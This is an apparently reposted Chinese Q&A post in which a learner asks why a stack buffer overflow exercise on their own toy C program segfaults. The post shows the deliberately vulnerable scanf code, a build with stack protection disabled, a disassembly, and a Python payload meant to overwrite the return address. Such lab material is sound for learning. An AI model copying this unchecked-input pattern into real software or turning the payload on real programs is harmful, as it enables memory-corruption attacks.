微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

缓冲区溢出漏洞利用 - 获取分段错误

如何解决缓冲区溢出漏洞利用 - 获取分段错误

我正在尝试使用此代码进行缓冲区溢出利用。我使用 gcc 编译了 64 位代码,禁用了 ASLR 并允许堆栈粉碎。我不太擅长阅读汇编代码,但我从代码中了解到,32 字节(0x20)的内存是为包含缓冲区(0x20)的局部变量保留的。所以我运行 python 代码打印 40 字节(32 字节 + 8 字节用于 rbp)垃圾 + secretFunction() 的地址。我收到“分段错误”。如何解决这个问题?

这是C代码

#include <stdio.h>

void secretFunction(){
    printf("You are Now inside the secret function!\n");
}
void echo(){
    char buffer[20];
    printf("Enter some text\n");
    scanf("%s",buffer);
    printf("You entered : %s\n",buffer);
}
int main()
{
    echo();
    return 0;
}

我是这样编译的:

gcc main.c -o example -fno-stack-protector

这是汇编代码的一部分:

0000000000001189 <secretFunction>:
    1189:   f3 0f 1e fa             endbr64 
    118d:   55                      push   %rbp
    118e:   48 89 e5                mov    %rsp,%rbp
    1191:   48 8d 3d 70 0e 00 00    lea    0xe70(%rip),%rdi        # 2008 <_IO_stdin_used+0x8>
    1198:   e8 d3 fe ff ff          callq  1070 <puts@plt>
    119d:   90                      nop
    119e:   5d                      pop    %rbp
    119f:   c3                      retq   

00000000000011a0 <echo>:
    11a0:   f3 0f 1e fa             endbr64 
    11a4:   55                      push   %rbp
    11a5:   48 89 e5                mov    %rsp,%rbp
    11a8:   48 83 ec 20             sub    $0x20,%rsp
    11ac:   48 8d 3d 7d 0e 00 00    lea    0xe7d(%rip),%rdi        # 2030 <_IO_stdin_used+0x30>
    11b3:   e8 b8 fe ff ff          callq  1070 <puts@plt>
    11b8:   48 8d 45 e0             lea    -0x20(%rbp),%rax
    11bc:   48 89 c6                mov    %rax,%rsi
    11bf:   48 8d 3d 7a 0e 00 00    lea    0xe7a(%rip),%rdi        # 2040 <_IO_stdin_used+0x40>
    11c6:   b8 00 00 00 00          mov    $0x0,%eax
    11cb:   e8 c0 fe ff ff          callq  1090 <__isoc99_scanf@plt>
    11d0:   48 8d 45 e0             lea    -0x20(%rbp),%rax
    11d4:   48 89 c6                mov    %rax,%rsi
    11d7:   48 8d 3d 65 0e 00 00    lea    0xe65(%rip),%rdi        # 2043 <_IO_stdin_used+0x43>
    11de:   b8 00 00 00 00          mov    $0x0,%eax
    11e3:   e8 98 fe ff ff          callq  1080 <printf@plt>
    11e8:   90                      nop
    11e9:   c9                      leaveq 
    11ea:   c3                      retq   

00000000000011eb <main>:
    11eb:   f3 0f 1e fa             endbr64 
    11ef:   55                      push   %rbp
    11f0:   48 89 e5                mov    %rsp,%rbp
    11f3:   b8 00 00 00 00          mov    $0x0,%eax
    11f8:   e8 a3 ff ff ff          callq  11a0 <echo>
    11fd:   b8 00 00 00 00          mov    $0x0,%eax
    1202:   5d                      pop    %rbp
    1203:   c3                      retq   
    1204:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
    120b:   00 00 00 
    120e:   66 90                   xchg   %ax,%ax

最后这里是运行期间的 Python 代码

python -c 'print "a"*40 + "\x89\x11\x00\x00\x00\x00\x00\x00"' | ./example

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。